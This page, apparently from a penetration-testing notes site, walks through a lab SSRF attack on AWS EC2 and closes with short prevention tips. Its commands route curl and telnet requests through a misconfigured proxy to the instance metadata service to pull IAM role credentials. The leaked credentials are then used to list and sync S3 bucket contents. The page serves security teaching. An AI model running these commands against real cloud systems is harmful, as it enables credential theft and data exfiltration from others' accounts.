👹‍🔬Exploiting AWS Misconfigurations

Basic AWS Services

  • VPC - Virtual Private Cloud

    • Logical Data Center in AWS

  • EC2 - Elasitic Cloud Compute

    • Runs instances that are similar to VMs

  • S3 - Simple Storage Solution

    • Object storage organized into Buckets

  • IAM - Identify Access Management

    • How AWS provisions access

The Problem

The problem exists with an AWS EC2 "feature" called Instance Metadata and an attack known as a Server Side Request Forgery (SSRF).

Tool

Setup

  • Nginx running on AWS EC2

  • S3 Buckets with sensitive data

  • IAM Roles with read access to S3 buckets

  • Instance Profile with IAM Roles attached to EC2 instance

Misconfiguration

The proxy server should be allowed to retrieve information from the web application server and nothing else.

The attack

  • Discover the Proxy Server that allows access to the Instance Metadata service

  • Craft a request against the web server that can return data from Instance Metadata Service

  • http://169.254.169.254/latest/meta-data/iam/security-credentials/ISRM-WAF-Role

  • This returns temporary credentails that can be used to access resources allowed by the IAM role

$ curl --proxy capitalbank.tompohl.com:80 http://169.254.169.254/latest/meta-data/iam/security-credentials/ISRM-WAF-Role
$ telnet capitalbank.tompohl.com 80

GET / HTTP/1.0

Get Meta-Data

$ telnet capitalbank.tompohl.com 80

GET http://169.254.169.254/latest

View the directories

$ curl --proxy capitalbank.tompohl.com:80 http://169.254.169.254/latest/ && echo

View the meta-data directory

$ curl --proxy capitalbank.tompohl.com:80 http://169.254.169.254/latest/meta-data/ && echo

View the iam directory

$ curl --proxy capitalbank.tompohl.com:80 http://169.254.169.254/latest/meta-data/iam && echo

View the buckets using leaked creds

aws s3api list-buckets

List bucket objetcts

aws s3 ls icanhazdata

Get Encryption details

aws s3api get-bucket-encryption --bucket icanhazdata

Sync the bucket objects into the laptop

aws s3 sync s3://icanhazdata

Prevention

  • Use least privilege when creating IAM Roles

  • If you do not need the Instance Metadata API (you don't) then firewall it

  • Do not store sensitive data in your provisioning scripts because these can also be read by the Instance Metadata API

PreviousAWS CLINextAzure Pentesting

Last updated